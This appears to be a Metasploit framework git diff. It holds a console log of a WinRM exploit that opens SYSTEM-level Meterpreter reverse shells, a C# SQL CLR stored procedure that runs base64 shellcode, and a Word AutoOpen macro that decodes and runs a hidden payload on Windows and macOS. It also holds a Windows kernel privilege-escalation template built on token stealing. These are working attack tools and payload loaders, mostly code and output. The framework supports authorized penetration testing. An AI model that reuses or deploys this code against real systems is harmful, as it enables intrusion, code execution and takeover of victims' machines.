exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(winrm_script_exec) > set USERNAME admin +USERNAME => admin +msf exploit(winrm_script_exec) > set PASSWORD admin +PASSWORD => admin +msf exploit(winrm_script_exec) > set LHOST 192.168.198.138 +LHOST => 192.168.198.138 +msf exploit(winrm_script_exec) > set LPORT 4444 +LPORT => 4444 +msf exploit(winrm_script_exec) > set RHOST 192.168.198.130 +RHOST => 192.168.198.130 +msf exploit(winrm_script_exec) > exploit +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] checking for Powershell 2.0 +[*] Attempting to set Execution Policy +[+] Set Execution Policy Successfully +[*] Grabbing %TEMP% +[*] Uploading powershell script to C:\Users\ADMINI~1\AppData\Local\Temp\uFWUOIgQ.ps1 (This may take a few minutes)... +[*] Attempting to execute script... +[*] Sending stage (752128 bytes) to 192.168.198.130 +[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:30:05 +0100 +meterpreter > +[*] Session ID 1 (192.168.198.138:4444 -> 192.168.198.130:5985) processing InitialAutoRunScript 'post/windows/manage/smart_migrate' +[*] Current server process: powershell.exe (608) +[+] Migrating to 568 +[+] Successfully migrated to process +meterpreter > sysinfo +gComputer : WIN-JZF4OTQMX4W +OS : Windows 2008 (Build 6002, Service Pack 2). +Architecture : x86 +System Language : en_US +Meterpreter : x86/win32 +meterpreter > getuid +gServer username: NT AUTHORITY\SYSTEM +meterpreter > getpid +Current pid: 568 +meterpreter > + +``` + +**VBS CmdStager is used for payload delivery here** + +``` +msf exploit(handler) > use exploit/windows/winrm/winrm_script_exec +msf exploit(winrm_script_exec) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(winrm_script_exec) > set USERNAME admin +USERNAME => admin +msf exploit(winrm_script_exec) > set PASSWORD admin +PASSWORD => admin +msf exploit(winrm_script_exec) > set LHOST 192.168.198.138 +LHOST => 192.168.198.138 +msf exploit(winrm_script_exec) > set LPORT 4444 +LPORT => 4444 +msf exploit(winrm_script_exec) > set RHOST 192.168.198.130 +RHOST => 192.168.198.130 +msf exploit(winrm_script_exec) > set FORCE_VBS true +FORCE_VBS => true +msf exploit(winrm_script_exec) > exploit +[*] Started reverse TCP handler on 192.168.198.138:4444 +[*] User selected the FORCE_VBS option +[*] Command Stager progress - 2.01% done (2046/101936 bytes) +[*] Command Stager progress - 4.01% done (4092/101936 bytes) +[*] Command Stager progress - 6.02% done (6138/101936 bytes) +[*] Command Stager progress - 8.03% done (8184/101936 bytes) +[*] Command Stager progress - 10.04% done (10230/101936 bytes) +[*] Command Stager progress - 12.04% done (12276/101936 bytes) +[*] Command Stager progress - 14.05% done (14322/101936 bytes) +[*] Command Stager progress - 16.06% done (16368/101936 bytes) +[*] Command Stager progress - 18.06% done (18414/101936 bytes) +[*] Command Stager progress - 20.07% done (20460/101936 bytes) +[*] Command Stager progress - 22.08% done (22506/101936 bytes) +[*] Command Stager progress - 24.09% done (24552/101936 bytes) +[*] Command Stager progress - 26.09% done (26598/101936 bytes) +[*] Command Stager progress - 28.10% done (28644/101936 bytes) +[*] Command Stager progress - 30.11% done (30690/101936 bytes) +[*] Command Stager progress - 32.11% done (32736/101936 bytes) +[*] Command Stager progress - 34.12% done (34782/101936 bytes) +[*] Command Stager progress - 36.13% done (36828/101936 bytes) +[*] Command Stager progress - 38.14% done (38874/101936 bytes) +[*] Command Stager progress - 40.14% done (40920/101936 bytes) +[*] Command Stager progress - 42.15% done (42966/101936 bytes) +[*] Command Stager progress - 44.16% done (45012/101936 bytes) +[*] Command Stager progress - 46.16% done (47058/101936 bytes) +[*] Command Stager progress - 48.17% done (49104/101936 bytes) +[*] Command Stager progress - 50.18% done (51150/101936 bytes) +[*] Command Stager progress - 52.19% done (53196/101936 bytes) +[*] Command Stager progress - 54.19% done (55242/101936 bytes) +[*] Command Stager progress - 56.20% done (57288/101936 bytes) +[*] Command Stager progress - 58.21% done (59334/101936 bytes) +[*] Command Stager progress - 60.21% done (61380/101936 bytes) +[*] Command Stager progress - 62.22% done (63426/101936 bytes) +[*] Command Stager progress - 64.23% done (65472/101936 bytes) +[*] Command Stager progress - 66.24% done (67518/101936 bytes) +[*] Command Stager progress - 68.24% done (69564/101936 bytes) +[*] Command Stager progress - 70.25% done (71610/101936 bytes) +[*] Command Stager progress - 72.26% done (73656/101936 bytes) +[*] Command Stager progress - 74.26% done (75702/101936 bytes) +[*] Command Stager progress - 76.27% done (77748/101936 bytes) +[*] Command Stager progress - 78.28% done (79794/101936 bytes) +[*] Command Stager progress - 80.29% done (81840/101936 bytes) +[*] Command Stager progress - 82.29% done (83886/101936 bytes) +[*] Command Stager progress - 84.30% done (85932/101936 bytes) +[*] Command Stager progress - 86.31% done (87978/101936 bytes) +[*] Command Stager progress - 88.31% done (90024/101936 bytes) +[*] Command Stager progress - 90.32% done (92070/101936 bytes) +[*] Command Stager progress - 92.33% done (94116/101936 bytes) +[*] Command Stager progress - 94.34% done (96162/101936 bytes) +[*] Command Stager progress - 96.34% done (98208/101936 bytes) +[*] Command Stager progress - 98.35% done (100252/101936 bytes) +[*] Sending stage (752128 bytes) to 192.168.198.130 +[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.130:5985) at 2017-03-19 21:46:05 +0100 +[*] Session ID 2 (192.168.198.138:4444 -> 192.168.1.142:49158) processing InitialAutoRunScript 'post/windows/manage/smart_migrate' +[*] Current server process: mSPvA.exe (3548) +[+] Migrating to 580 +[+] Successfully migrated to process +[*] nil +[*] Command Stager progress - 100.00% done (101936/101936 bytes) +meterpreter > getpid +Current pid: 580 +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-OPAUFTQFWTB +OS : Windows 2008 (Build 6002, Service Pack 2). +Architecture : x86 +System Language : en_US +Meterpreter : x86/win32 +meterpreter > +``` diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md index aa1e134161..a009033856 100644 --- a/documentation/modules/module_doc_template.md +++ b/documentation/modules/module_doc_template.md @@ -1,14 +1,17 @@ The following is the recommended format for module documentation. But feel free to add more content/sections to this. - +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. ## Vulnerable Application - Instructions to get the vulnerable application. + Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files, + as well as instructions on installing/configuring the environment if it is different than a standard install. + Much of this will come from the PR, and can be copy/pasted. ## Verification Steps - Example steps in this format: + Example steps in this format (is also in the PR): 1. Install the application 2. Start msfconsole @@ -20,7 +23,7 @@ But feel free to add more content/sections to this. **Option name** - Talk about what it does, and how to use it appropriately. + Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. ## Scenarios diff --git a/documentation/modules/post/hardware/zigbee/zstumbler.md b/documentation/modules/post/hardware/zigbee/zstumbler.md new file mode 100644 index 0000000000..f8095ac2ce --- /dev/null +++ b/documentation/modules/post/hardware/zigbee/zstumbler.md @@ -0,0 +1,38 @@ +Actively scans the Zigbee channels by sending a beacon broadcast packet and listening for responses. + +## Options + + **DEVICE** + + ZigBee Device ID. Defaults to the target device that is specified via the target command or if + one device is presented when running 'supported_devices' it will use that device. + + **CHANNEL** + + The channel to scan. Setting this options will prevent the stumbler from changing channels. Range is 11-26, inclusive. Default: not set +n + **LOOP** + + How many times to loop over the channels. Specifying a -1 will loop forever. Default: 1 + + **DELAY** + + The delay in seconds to listen to each channel. Default: 2 + +## Scenarios + + Scanning channel 11 for other ZigBee devices in the area. + +``` +hwbridge > run post/hardware/zigbee/zstumbler channel=11 + +[*] Scanning Channel 11 +[*] New Network: PANID: 0x4724 SOURCE: 0x25D5 +[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise +[*] Stack Version: ZigBee 2006/2007 +[*] Channel: 11 +[*] New Network: PANID: 0x4724 SOURCE: 0x7DD1 +[*] Ext PANID: 6E:03:C7:74:31:E2:74:AA Stack Profile: ZigBee Enterprise +[*] Stack Version: ZigBee 2006/2007 +[*] Channel: 11 +``` diff --git a/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md b/documentation/modules/post/windows/manage/mssql_local_auth_bypass.md old mode 100755 new mode 100644 diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md index 45b73a5e74..4a7131fe32 100644 --- a/documentation/modules/post/windows/manage/priv_migrate.md +++ b/documentation/modules/post/windows/manage/priv_migrate.md @@ -14,6 +14,7 @@ This module is a nice addition to the beginning of an autorun script for post-Me - **ANAME** - This option allows you to specify a system level process that the module attempts to migrate to first if the session has admin rights. - **NAME** - This option allows you to specify the user level process that the module attempts to migrate to first if the session has user rights or if admin migration fails through all of the default processes. - **KILL** - This option allows you to kill the original process after a successful migration. The default value is FALSE. +- **NOFAIL** - This option allows you to specify whether or not the module will migrate the session into a user level process if admin level migration fails. If TRUE, this may downgrade priviliged shells. The default value is FALSE. ## Module Process Here is the process that the module follows: @@ -22,11 +23,13 @@ Here is the process that the module follows: - If the session has admin rights, it attempts to migrate to a system owned process in the following order: - ANAME (Module option, if specified) - services.exe - - winlogon.exe - wininit.exe + - svchost.exe - lsm.exe - lsass.exe -- If it is unable to migrate to one of these processes, it drops to user level migration. + - winlogon.exe +- The module will not migrate if the session has System rights and is already in one of the above target processes. +- If it is unable to migrate to one of these processes, it drops to user level migration if NOFAIL is TRUE. - If the session has user rights, it attempts to migrate to a user owned process in the following order: - NAME (Module option, if specified) - explorer.exe diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs b/external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs new file mode 100644 index 0000000000..04b08ad050 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v2.0.cs @@ -0,0 +1 @@ +// Deliberately blank diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs b/external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs new file mode 100644 index 0000000000..04b08ad050 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v3.5.cs @@ -0,0 +1 @@ +// Deliberately blank diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs new file mode 100644 index 0000000000..235cd49a0f --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.0.cs @@ -0,0 +1,3 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs new file mode 100644 index 0000000000..0e1e3b62c8 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.1.cs @@ -0,0 +1,5 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5.1", FrameworkDisplayName = ".NET Framework 4.5.1")] + + diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs new file mode 100644 index 0000000000..b14c7f8ffa --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.2.cs @@ -0,0 +1,4 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5.2", FrameworkDisplayName = ".NET Framework 4.5.2")] + diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs new file mode 100644 index 0000000000..8b3205f1d2 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.5.cs @@ -0,0 +1,4 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] + diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs new file mode 100644 index 0000000000..9d05a55a19 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.1.cs @@ -0,0 +1,3 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.1", FrameworkDisplayName = ".NET Framework 4.6.1")] diff --git a/external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs new file mode 100644 index 0000000000..6205f387c5 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyAttributes-v4.6.cs @@ -0,0 +1,3 @@ +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")] diff --git a/external/source/SqlClrPayload/AssemblyInfo.cs b/external/source/SqlClrPayload/AssemblyInfo.cs new file mode 100755 index 0000000000..270916e501 --- /dev/null +++ b/external/source/SqlClrPayload/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SqlClrPayload")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SqlClrPayload")] +[assembly: AssemblyCopyright("Copyright © 2017")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("33827137-7d8c-40e5-afd9-d71e916e0e2d")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/external/source/SqlClrPayload/StoredProcedures.cs b/external/source/SqlClrPayload/StoredProcedures.cs new file mode 100755 index 0000000000..9a7237017c --- /dev/null +++ b/external/source/SqlClrPayload/StoredProcedures.cs @@ -0,0 +1,23 @@ +using System; + +public partial class StoredProcedures +{ + private static Int32 MEM_COMMIT = 0x1000; + private static IntPtr PAGE_EXECUTE_READWRITE = (IntPtr)0x40; + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect); + + [System.Runtime.InteropServices.DllImport("kernel32")] + private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId); + + [Microsoft.SqlServer.Server.SqlProcedure] + public static void ExecuteB64Payload(string base64EncodedPayload) + { + var bytes = Convert.FromBase64String(base64EncodedPayload); + var mem = VirtualAlloc(IntPtr.Zero,(UIntPtr)bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + System.Runtime.InteropServices.Marshal.Copy(bytes, 0, mem, bytes.Length); + var threadId = IntPtr.Zero; + CreateThread(IntPtr.Zero, UIntPtr.Zero, mem, IntPtr.Zero, 0, ref threadId); + } +} diff --git a/external/source/SqlClrPayload/make.bat b/external/source/SqlClrPayload/make.bat new file mode 100644 index 0000000000..53f10fce64 --- /dev/null +++ b/external/source/SqlClrPayload/make.bat @@ -0,0 +1,48 @@ +@ECHO OFF +IF "%VSINSTALLDIR%" == "" GOTO NEED_VS + +SET FRAMEWORKDIR=%VSINSTALLDIR%..\Reference Assemblies\Microsoft\Framework\.NETFramework +SET DNETDIR=%WINDIR%\Microsoft.NET\Framework +SET TARGETDIR=..\..\..\data\SqlClrPayload + +mkdir "%TARGETDIR%" 2> NUL + +SET VER=v2.0 +SET FW=%DNETDIR%\v2.0.50727 +IF EXIST "%FW%" ( + ECHO Building SqlClrPayload for .NET %VER% + mkdir "%TARGETDIR%\%VER%" 2> NUL + csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs +) + +SET VER=v3.5 +SET CORE=%FRAMEWORKDIR%\..\%VER% +SET FW=%DNETDIR%\v2.0.50727 +IF EXIST "%CORE%" ( + ECHO Building SqlClrPayload for .NET %VER% + mkdir "%TARGETDIR%\%VER%" 2> NUL + csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%CORE%\System.Core.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs +) + +FOR %%v IN (v4.0 v4.5 v4.5.1 v4.5.2 v4.6 v4.6.1) DO CALL :BUILDLATEST %%v + +ECHO Done. +GOTO :END + +:NEED_VS +ECHO "This command must be executed from within a Visual Studio Command prompt." +ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools" + +:END + +EXIT /B 0 + +:BUILDLATEST +SET VER=%~1 +SET FW=%FRAMEWORKDIR%\%VER% +IF EXIST "%FW%" ( + ECHO Building SqlClrPayload for .NET %VER% + mkdir "%TARGETDIR%\%VER%" 2> NUL + csc.exe /nologo /noconfig /unsafe+ /nowarn:1701,1702,2008 /nostdlib+ /errorreport:none /warn:4 /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"%FW%\mscorlib.dll" /reference:"%FW%\System.Core.dll" /reference:"%FW%\System.Data.dll" /reference:"%FW%\System.dll" /debug- /filealign:512 /optimize+ /out:%TARGETDIR%\%VER%\SqlClrPayload.dll /target:library /utf8output StoredProcedures.cs AssemblyInfo.cs AssemblyAttributes-%VER%.cs +) +EXIT /B 0 diff --git a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c index 5023420aac..3b35653750 100755 --- a/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c +++ b/external/source/exploits/capcom_sys_exec/capcom_sys_exec/capcom_sys_exec.c @@ -3,14 +3,7 @@ #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "kernel.h" -DWORD WINAPI execute_payload(LPVOID lpPayload) -{ - VOID(*lpCode)() = (VOID(*)())lpPayload; - lpCode(); - return ERROR_SUCCESS; -} - -DWORD WINAPI capcom_sys_exec(LPVOID lpPayload) +DWORD capcom_sys_exec(LPVOID lpPayload) { const DWORD PwnControlCode = 0xAA013044; HANDLE driver = INVALID_HANDLE_VALUE; diff --git a/external/source/exploits/office_word_macro/macro.vba b/external/source/exploits/office_word_macro/macro.vba new file mode 100644 index 0000000000..03da5fb676 --- /dev/null +++ b/external/source/exploits/office_word_macro/macro.vba @@ -0,0 +1,92 @@ +Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long + +Sub AutoOpen() + On Error Resume Next + Dim found_value As String + + For Each prop In ActiveDocument.BuiltInDocumentProperties + If prop.Name = "Comments" Then + found_value = Mid(prop.Value, 56) + orig_val = Base64Decode(found_value) + #If Mac Then + ExecuteForOSX (orig_val) + #Else + ExecuteForWindows (orig_val) + #End If + Exit For + End If + Next +End Sub + +Sub ExecuteForWindows(code) + On Error Resume Next + Set fso = CreateObject("Scripting.FileSystemObject") + tmp_folder = fso.GetSpecialFolder(2) + tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe" + Set f = fso.createTextFile(tmp_name) + f.Write (code) + f.Close + CreateObject("WScript.Shell").Run (tmp_name) +End Sub + +Sub ExecuteForOSX(code) + system ("echo """ & code & """ | python &") +End Sub + + +' Decodes a base-64 encoded string (BSTR type). +' 1999 - 2004 Antonin Foller, http://www.motobit.com +' 1.01 - solves problem with Access And 'Compare Database' (InStr) +Function Base64Decode(ByVal base64String) + 'rfc1521 + '1999 Antonin Foller, Motobit Software, http://Motobit.cz + Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" + Dim dataLength, sOut, groupBegin + + base64String = Replace(base64String, vbCrLf, "") + base64String = Replace(base64String, vbTab, "") + base64String = Replace(base64String, " ", "") + + dataLength = Len(base64String) + If dataLength Mod 4 <> 0 Then + Err.Raise 1, "Base64Decode", "Bad Base64 string." + Exit Function + End If + + + For groupBegin = 1 To dataLength Step 4 + Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut + numDataBytes = 3 + nGroup = 0 + + For CharCounter = 0 To 3 + + thisChar = Mid(base64String, groupBegin + CharCounter, 1) + + If thisChar = "=" Then + numDataBytes = numDataBytes - 1 + thisData = 0 + Else + thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1 + End If + If thisData = -1 Then + Err.Raise 2, "Base64Decode", "Bad character In Base64 string." + Exit Function + End If + + nGroup = 64 * nGroup + thisData + Next + + nGroup = Hex(nGroup) + + nGroup = String(6 - Len(nGroup), "0") & nGroup + + pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ + Chr(CByte("&H" & Mid(nGroup, 5, 2))) + + sOut = sOut & Left(pOut, numDataBytes) + Next + + Base64Decode = sOut +End Function diff --git a/external/source/exploits/windows-lpe-template/.gitignore b/external/source/exploits/windows-lpe-template/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/windows-lpe-template/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/windows-lpe-template/make.msbuild b/external/source/exploits/windows-lpe-template/make.msbuild new file mode 100755 index 0000000000..e4add0d3a0 --- /dev/null +++ b/external/source/exploits/windows-lpe-template/make.msbuild @@ -0,0 +1,18 @@ + + + + .\windows-lpe-template.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/windows-lpe-template/windows-lpe-template.sln b/external/source/exploits/windows-lpe-template/windows-lpe-template.sln new file mode 100755 index 0000000000..360b9810ce --- /dev/null +++ b/external/source/exploits/windows-lpe-template/windows-lpe-template.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.40629.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "windows-lpe-template", "windows-lpe-template\windows-lpe-template.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.ActiveCfg = Release|Win32 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.Build.0 = Release|Win32 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64 + {A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c b/external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c new file mode 100755 index 0000000000..c809f9aa72 --- /dev/null +++ b/external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c @@ -0,0 +1,88 @@ +// Make sure you leave these defines and includes alone. +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#include "kernel.h" + +// Add your own defines/includes here. + +DWORD WINAPI run_exploit(LPVOID lpPayload) +{ + // Put your required local variables here + //LPVOID thing = malloc(100); + + do + { + // all of your exploit stuff goes here + + // Do some work, check for error, if fails, break. + // TODO: remove this if not needed, otherwise modify + // to run your own code. + //if (FALSE) + //{ + // break; + //} + + // prepare for kernel exploitation after the initial work has been done. + // This allows for other helper functions to run inside the kernel. If + // you forget to do this bit, then things in kernel land will crash! + if (!prepare_for_kernel()) + { + break; + } + + // This is where the exploit should be run from. When executing your exploit, + // make sure that the `steal_process_token()` function from kernel.h is executed + // inside the kernel (and preferrably nothing more!). This will conduct the token stealing + // under the context of the kernel. + + // Check to see if things worked, and that we have a payload + if (was_token_replaced() && lpPayload) + { + // If so, just go ahead and execute the payload that MSF sent us. + execute_payload(lpPayload); + } + + } while (0); + + // Free up your stuff here. + //if (thing != NULL) + //{ + // free(thing); + //} + + return 0; +} + +//////////////////////////////////////////////////////////////////////////////////////////////////// +// +// There shouldn't be any need to modify anything below this line. +// +//////////////////////////////////////////////////////////////////////////////////////////////////// + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + // lpReserved should have been passed in by MSF and points + // to the shellcode/payload that is to be executed if the + // exploit actually succeeds. + run_exploit(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} diff --git a/external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj b/external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj new file mode 100755 index 0000000000..3fc9a1df8c --- /dev/null +++ b/external/source/exploits/windows-lpe-template/windows-lpe-template/windows-lpe-template.vcxproj @@ -0,0 +1,172 @@ + + + + + Release + Win32 + + + Release + x64 + + + + + + + + + + + + {a67ba207-7aac-4850-beb1-e7fa07bac0b1} + windows_lpe_template + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + 